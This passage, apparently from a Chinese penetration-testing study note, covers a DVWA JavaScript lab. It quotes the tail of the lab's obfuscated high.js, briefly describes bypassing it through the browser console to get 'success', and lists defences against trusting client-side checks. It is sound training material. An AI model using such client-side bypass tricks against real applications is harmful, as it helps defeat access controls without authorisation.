|0123456789abcdef|JS_SHA256_NO_ARRAY_BUFFER|is|invalid|input|strict|use|JS_SHA256_NO_WINDOW|ABCD|amd|JS_SHA256_NO_COMMON_JS|global|node|0x923f82a4|0xab1c5ed5|0x983e5152|0xa831c66d|0x76f988da|0x5cb0a9dc|0x4a7484aa|0xb00327c8|0xbf597fc7|0x14292967|0x06ca6351||0xd5a79147|0xc6e00bf3|0x2de92c6f|0x240ca1cc|0x550c7dc3|0x72be5d74|0x243185be|0x12835b01|0xd807aa98|0x80deb1fe|0x9bdc06a7|0xc67178f2|0xefbe4786|0xe49b69c1|0xc19bf174|0x27b70a85|0x3070dd17|300032|1413257819|150054599|24177077|56|4294967295|0x5be0cd19|while|setTimeout|704751109|210244248|DataView|0x36|0x5c|push|ZZ|Object|143694565|YY|0x1f83d9ab|1521486534|0x367cd507|0xc1059ed8|0xffc00b31|0x68581511|0x64f98fa7|XX|300|0x9b05688c|send|addEventListener|click|utf8|0xbefa4fa4|0xf70e5939|0x510e527f|0xbb67ae85|0x6a09e667|0x3c6ef372|0xa54ff53a|JS_SHA256_NO_ARRAY_BUFFER_IS_VIEW','split'];(function(c,d){var e=function(f){while(--f){c['push'](c['shift']());}};e(++d);}(a,0x1f4));var b=function(c,d){c=c-0x0;var e=a[c];return e;};eval(function(d,e,f,g,h,i){h=function(j){return(j0x23?String[b('0x0')](j+0x1d):j[b('0x1')](0x24));};if(!''[b('0x2')](/^/,String)){while(f--){i[h(f)]=g[f]||h(f);}g=[function(k){if('wpA'!==b('0x3')){return i[k];}else{while(f--){i[k(f)]=g[f]||k(f);}g=[function(l){return i[l];}];k=function(){return b('0x4');};f=0x1;}}];h=function(){return b('0x4');};f=0x1;};while(f--){if(g[f]){if(b('0x5')===b('0x6')){return i[h];}else{d=d[b('0x2')](new RegExp('\x5cb'+h(f)+'\x5cb','g'),g[f]);}}}return d;}(b('0x7'),0x3e,0x137,b('0x8')[b('0x9')]('|'),0x0,{}));

代码审计:high.js中用了js混淆,以通过调整JS,再控制台输入正确的JS文件,使应用获取到"success"。

Security Level 【Impossible】

  • 防御思路:
    永远不要相信用户的输入
    不要完全依赖前端,在js、后端中也要做检测

你可能感兴趣的:(笔记,渗透测试)